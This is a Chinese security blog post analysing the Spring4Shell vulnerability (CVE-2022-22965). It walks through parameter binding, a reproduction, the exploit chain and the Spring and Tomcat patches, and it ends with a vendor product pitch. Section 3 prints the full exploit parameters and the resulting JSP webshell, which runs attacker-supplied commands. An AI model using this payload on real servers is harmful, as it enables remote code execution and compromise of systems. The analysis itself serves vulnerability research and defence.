【干货】Spring远程命令执行漏洞（CVE-2022-22965）原理分析和思考

前言

上周网上爆出Spring框架存在RCE漏洞，野外流传了一小段时间后，Spring官方在3月31日正式发布了漏洞信息，漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析，希望能够帮助到有相关有需要的人员进一步研究。

1. 前置知识

1.1 SpringMVC参数绑定

为了方便编程，SpringMVC支持将HTTP请求中的的请求参数或者请求体内容，根据Controller方法的参数，自动完成类型转换和赋值。之后，Controller方法就可以直接使用这些参数，避免了需要编写大量的代码从HttpServletRequest中获取请求数据以及类型转换。下面是一个简单的示例：

​
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controllerpublic class UserController {@RequestMapping(“/addUser”)public @ResponseBody String addUser(User user) {return “OK”;}}

​
public class User {private String name;private Department department;public String getName() {return name;}public void setName(String name) {this.name = name;}public Department getDepartment() {return department;}public void setDepartment(Department department) {this.department = department;}}

​
public class Department {private String name;public String getName() {return name;}public void setName(String name) {this.name = name;}}

当请求为 ：

/addUser?name=test&department.name=SEC时，public String addUser(User
user)中的user参数内容如下：

可以看到，name自动绑定到了user参数的name属性上，department.name自动绑定到了user参数的department属性的name属性上。

注意department.name这项的绑定，表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的：

​
User.getDepartment()Department.setName()

假设请求参数名为foo.bar.baz.qux，对应Controller方法入参为Param，则有以下的调用链：

​
Param.getFoo()Foo.getBar()Bar.getBaz()Baz.setQux() // 注意这里为set

SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)。

1.2 Java Bean PropertyDescriptor

PropertyDescriptor是JDK自带的java.beans包下的类，意为属性描述器，用于获取符合Java
Bean规范的对象属性和get/set方法。下面是一个简单的例子：

​
import java.beans.BeanInfo;import java.beans.Introspector;import java.beans.PropertyDescriptor;public class PropertyDescriptorDemo {public static void main(String[] args) throws Exception {User user = new User();user.setName(“foo”);BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();PropertyDescriptor userNameDescriptor = null;for (PropertyDescriptor descriptor : descriptors) {if (descriptor.getName().equals(“name”)) {userNameDescriptor = descriptor;System.out.println("userNameDescriptor: " + userNameDescriptor);System.out.println("Before modification: ");System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));userNameDescriptor.getWriteMethod().invoke(user, “bar”);}}System.out.println("After modification: ");System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));}}

​
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]Before modification: user.name: fooAfter modification: user.name: bar

从上述代码和输出结果可以看到，PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。

1.3 Spring BeanWrapperImpl

在Spring中，BeanWrapper接口是对Bean的包装，定义了大量可以非常方便的方法对Bean的属性进行访问和设置。

BeanWrapperImpl类是BeanWrapper接口的默认实现，BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象，BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor。

​
import org.springframework.beans.BeanWrapper;import org.springframework.beans.BeanWrapperImpl;public class BeanWrapperDemo {public static void main(String[] args) throws Exception {User user = new User();user.setName(“foo”);Department department = new Department();department.setName(“SEC”);user.setDepartment(department);BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);userBeanWrapper.setAutoGrowNestedPaths(true);System.out.println("userBeanWrapper: " + userBeanWrapper);System.out.println("Before modification: ");System.out.println("user.name: " + userBeanWrapper.getPropertyValue(“name”));System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue(“department.name”));userBeanWrapper.setPropertyValue(“name”, “bar”);userBeanWrapper.setPropertyValue(“department.name”, “IT”);System.out.println("After modification: ");System.out.println("user.name: " + userBeanWrapper.getPropertyValue(“name”));System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue(“department.name”));}}

​
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]Before modification: user.name: foouser.department.name: SECAfter modification: user.name: baruser.department.name: IT

从上述代码和输出结果可以看到，通过BeanWrapperImpl可以很方便地访问和设置Bean的属性，比直接使用PropertyDescriptor要简单很多。

1.4Tomcat AccessLogValve 和 access_log

Tomcat的Valve用于处理请求和响应，通过组合了多个Valve的Pipeline，来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve，所有部署在Tomcat中的Web应用均会执行该Valve，内容如下：

​
<Valve className=“org.apache.catalina.valves.AccessLogValve” directory=“logs"prefix=“localhost_access_log” suffix=”.txt"pattern=“%h %l %u %t “%r” %s %b” />

下面列出配置中出现的几个重要属性：

· directory：access_log文件输出目录。

· prefix：access_log文件名前缀。

· pattern：access_log文件内容格式。

· suffix：access_log文件名后缀。

· fileDateFormat：access_log文件名日期后缀，默认为.yyyy-MM-dd。

2. 漏洞复现

1.创建一个maven项目，pom.xml内容如下：

​
<?xml version="1.0" encoding="UTF-8"?><project xmlns=“http://maven.apache.org/POM/4.0.0” xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation=“http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd”>4.0.0org.springframework.bootspring-boot-starter-parent2.6.3 com.exampleCVE-2022-229650.0.1-SNAPSHOTwarorg.springframework.bootspring-boot-starter-weborg.springframework.bootspring-boot-starter-tomcatprovidedorg.springframework.bootspring-boot-maven-plugin

2.项目中添加如下代码，作为SpringBoot的启动类：

​
import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.boot.builder.SpringApplicationBuilder;import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;@SpringBootApplicationpublic class ApplicationMain extends SpringBootServletInitializer {@Overrideprotected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {return builder.sources(ApplicationMain.class);}public static void main(String[] args) {SpringApplication.run(ApplicationMain.class, args);}}

3.将章节1.1 SpringMVC参数绑定中的User类和UserController类添加到项目中。

4.执行maven打包命令，将项目打包为war包，命令如下：

​
mvn clean package

5.将项目中target目录里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war，复制到Tomcat的webapps目录下，并启动Tomcat。

6.从https://github.com/BobTheShoplifter/Spring4Shell-
POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件，执行如下命令：

​
python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser

7.浏览器中访问http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator，复现漏洞。

3. 漏洞分析

3.1 POC分析

我们从POC入手进行分析。通过对POC中的data URL解码后可以拆分成如下5对参数。

3.1.1 pattern参数

参数名：class.module.classLoader.resources.context.parent.pipeline.first.pattern

参数值：

%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i

很明显，这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链：

​
User.getClass()java.lang.Class.getModule()…SomeClass.setPattern()

那实际运行过程中的调用链是怎样的呢？SomeClass是哪个类呢？带着这些问题，我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)上设置断点。

经过一系列的调用逻辑后，我们来到AbstractNestablePropertyAccessor第814行，getPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身，实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析，设置整个调用链。

我们重点关注第820行， AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);，该行主要实现每层嵌套参数的获取。我们在该行设置断点，查看每次递归解析过程中各个变量的值，以及如何获取每层嵌套参数。

第一轮迭代

进入

getPropertyAccessorForPropertyPath(String)

方法前：

· this：User的BeanWrapperImpl包装实例

·
propertyPath：class.module.classLoader.resources.context.parent.pipeline.first.pattern

·
nestedPath：module.classLoader.resources.context.parent.pipeline.first.pattern

·nestedProperty：class，即本轮迭代需要解析的嵌套参数

进入方法，经过一系列的调用逻辑后，最终来到BeanWrapperImpl第308行，BeanPropertyHandler.getValue()方法中。可以看到class嵌套参数最终通过反射调用User的父类java.lang.Object.getClass()，获得返回java.lang.Class实例。

getPropertyAccessorForPropertyPath(String)方法返回后：

this：User的BeanWrapperImpl包装实例

propertyPath：class.module.classLoader.resources.context.parent.pipeline.first.pattern

nestedPath：module.classLoader.resources.context.parent.pipeline.first.pattern，作为下一轮迭代的propertyPath

nestedProperty：class，即本轮迭代需要解析的嵌套参数

nestedPa：java.lang.Class的BeanWrapperImpl包装实例，作为下一轮迭代的this

经过第一轮迭代，我们可以得出第一层调用链：

​
User.getClass()java.lang.Class.get???() // 下一轮迭代实现

第二轮迭代

module嵌套参数最终通过反射调用java.lang.Class.getModule()，获得返回java.lang.Module实例。

经过第二轮迭代，我们可以得出第二层调用链：

​
User.getClass()java.lang.Class.getModule()java.lang.Module.get???() // 下一轮迭代实现

第三轮迭代

classLoader嵌套参数最终通过反射调用java.lang.Module.getClassLoader()，获得返回org.apache.catalina.loader.ParallelWebappClassLoader实例。

经过第三轮迭代，我们可以得出第三层调用链：

​
User.getClass()java.lang.Class.getModule()java.lang.Module.getClassLoader()org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现

接着按照上述调试方法，依次调试剩余的递归轮次并观察相应的变量，最终可以得到如下完整的调用链：

​
User.getClass()java.lang.Class.getModule()java.lang.Module.getClassLoader()org.apache.catalina.loader.ParallelWebappClassLoader.getResources()org.apache.catalina.webresources.StandardRoot.getContext()org.apache.catalina.core.StandardContext.getParent()org.apache.catalina.core.StandardHost.getPipeline()org.apache.catalina.core.StandardPipeline.getFirst()org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到，pattern参数最终对应AccessLogValve.setPattern()，即将AccessLogValve的pattern属性设置为%{c2}i
if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i，也就是access_log的文件内容格式。

我们再来看pattern参数值，除了常规的Java代码外，还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码，可以找到相关的文档：

即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。

结合poc.py中headers变量内容：

​
headers = {“suffix”:“%>//”,“c1”:“Runtime”,“c2”:“<%”,“DNT”:“1”,“Content-Type”:“application/x-www-form-urlencoded”}

最终可以得到AccessLogValve输出的日志实际内容如下（已格式化）：

​
<%if(“j”.equals(request.getParameter(“pwd”))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>//

很明显，这是一个JSP webshell。这个webshell输出到了哪儿？名称是什么？能被直接访问和正常解析执行吗？我们接下来看其余的参数。

3.1.2 suffix参数

参数名：

class.module.classLoader.resources.context.parent.pipeline.first.suffix

参数值：.jsp

按照pattern参数相同的调试方法，suffix参数最终将AccessLogValve.suffix设置为.jsp，即access_log的文件名后缀。

3.1.3 directory参数

参数名：class.module.classLoader.resources.context.parent.pipeline.first.directory

参数值：webapps/ROOT

按照pattern参数相同的调试方法，directory参数最终将AccessLogValve.directory设置为webapps/ROOT，即access_log的文件输出目录。

这里提下webapps/ROOT目录，该目录为Tomcat
Web应用根目录。部署到目录下的Web应用，可以直接通过http://localhost:8080/根目录访问。

3.1.4 prefix参数

参数名：class.module.classLoader.resources.context.parent.pipeline.first.prefix

参数值：tomcatwar

按照pattern参数相同的调试方法，prefix参数最终将AccessLogValve.prefix设置为tomcatwar，即access_log的文件名前缀。

3.1.5 fileDateFormat参数

参数名：class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

参数值：空

按照pattern参数相同的调试方法，fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空，即access_log的文件名不包含日期。

3.1.6 总结

至此，经过上述的分析，结论非常清晰了：通过请求传入的参数，利用SpringMVC参数绑定机制，控制了Tomcat
AccessLogValve的属性，让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp，该“访问日志”实际上为一个JSP
webshell。

在SpringMVC参数绑定的实际调用链中，有几个关键点直接影响到了漏洞能否成功利用。

3.2 漏洞利用关键点

3.2.1 关键点一：Web应用部署方式

从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader，是将调用链转移到Tomcat，并最终利用AccessLogValve输出webshell的关键。

ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用，在这种方式下，我们看下classLoader嵌套参数被解析为什么，如下图：

可以看到，使用SpringBoot可执行jar包的方式运行，classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader，查看其源码，没有getResources()方法。具体源码请参考文章末尾的参考章节。

这就是为什么本漏洞利用条件之一，Web应用部署方式需要是Tomcat war包部署。

3.2.2 关键点二：JDK版本

在前面章节中AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);调用的过程中，实际上Spring做了一道防御。

Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java
Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中：

该行的意思是：当Bean的类型为java.lang.Class时，不返回classLoader和protectionDomain的PropertyDescriptor。Spring在构建嵌套参数的调用链时，会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建：

不返回，也就意味着class.classLoader…这种嵌套参数走不通，即形如下方的调用链：

​
Foo.getClass()java.lang.Class.getClassLoader()BarClassLoader.getBaz()…

这就是为什么本漏洞利用条件之二，JDK>=1.9。

4. 补丁分析

4.1 Spring 5.3.18补丁

通过对比Spring 5.3.17和5.3.18的版本，可以看到在3月31日有一项名为“Redefine PropertyDescriptor
filter的”提交。

进入该提交，可以看到对CachedIntrospectionResults构造函数中Java
Bean的PropertyDescriptor的过滤条件被修改了：当Java
Bean的类型为java.lang.Class时，仅允许获取name以及Name后缀的属性描述符。在章节3.2.2
关键点二：JDK版本中，利用java.lang.Class.getModule()的链路就走不通了。

4.2 Tomcat 9.0.62补丁

通过对比Tomcat 9.0.61和9.0.62的版本，可以看到在4月1日有一项名为“Security hardening. Deprecate
getResources() and always return null.”提交。

进入该提交，可以看到对getResources()方法的返回值做了修改，直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类，在章节3.2.1
关键点一：Web应用部署方式中，利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。

5. 思考

通过将代码输出到日志文件，并控制日志文件被解释执行，这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件，并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现，也可以通过SQL注入、文件上传漏洞等曲线实现。

与上文不同的是，本次漏洞并不需要文件包含。究其原因，Java Web服务中间件自身也是用Java编写和运行的，而部署运行在上面的Java
Web应用，实际上是Java Web服务中间件进程的一部分，两者间通过Servlet
API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力，给予了攻击者可以通过Java Web应用漏洞进而攻击Java
Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞，进而修改了Web服务中间件Tomcat的access_log配置内容，直接输出可执行的“日志”文件到Web
应用目录下。

在日常开发中，应该严格控制Web应用可解释执行目录为只读不可写，日志、上传文件等运行期可以修改的目录应该单独设置，并且不可执行。

本次漏洞虽然目前调用链中仅利用到了Tomcat，但只要存在一个从Web应用到Web服务中间件的class.module.classLoader…合适调用链，理论上Jetty、Weblogic、Glassfish等也可利用。另外，目前通过写入日志文件的方式，也可能通过其它文件，比如配置文件，甚至是内存马的形式出现。

本次漏洞目前唯一令人“欣慰”的一点是，仅对JDK>=1.9有效。相信不少公司均为“版本任你发，我用Java
8！”的状态，但这也仅仅是目前。与其抱着侥幸心理，不如按计划老老实实升级Spring。

析策XDR平台

同Log4jShell中的Log4j2一样，Spring框架几乎是一个类似JDK级别的基础类库，即便自身应用程序里完成了升级，但仍有极其庞大的其它框架、中间件，导致升级工作同样极为困难。绝大部分公司采取的方案是在边界防护设备上使用“临时补丁”的方式。同时，大量bypass方法也随之而来，这将是一个漫长的过程。

“临时补丁”意味着无法根除，而底层依赖的升级又极为耗时，那么，如何更好地发现并规避在此期间产生的风险呢？

极盾科技的析策XDR平台，通过收集企业内部各类安全日志、流量，基于这些数据进行全局的、跨端的实时关联分析，挖掘其中隐匿的风险，并提供一套可灵活编排的风险处置流程，最大程度上提升了企业的安全感知和处理能力。即便有人利用本漏洞突破了边界，在造成更大影响之前，通过多端数据的关联分析，即可更早地被析策XDR平台感知到入侵是否已经发生了，进行到了哪个阶段，可以及时阻断处理。平台更详细的介绍见如下链接：

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